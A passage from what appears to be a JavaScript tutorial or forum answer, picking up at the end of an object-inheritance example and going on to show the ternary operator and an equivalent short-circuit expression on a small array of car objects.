});
console.log("My Toyota is: "+ myToyota.getColor());
example: http://jsfiddle.net/YthH8/
Keep in mind that are are many ways you can use objects / inheritance in JavaScript.
Coffee script has it's own syntactic sugar for using classes => http://coffeescript.org/#classes
There is a ternar operator ? used mostly when you don't want to use if-else statement:
example: function() {
var cars = [{color:'red',reg:'111'},{color:'blue',reg:'666'}];
return cars[0].color === 'red' ? cars[0] : cars[1];
}
const example = () => {
var cars = [{color:'red',reg:'111'},{color:'blue',reg:'666'}];
return (cars[0].color === 'red' && cars[0]) ||
cars[1];
}

Categories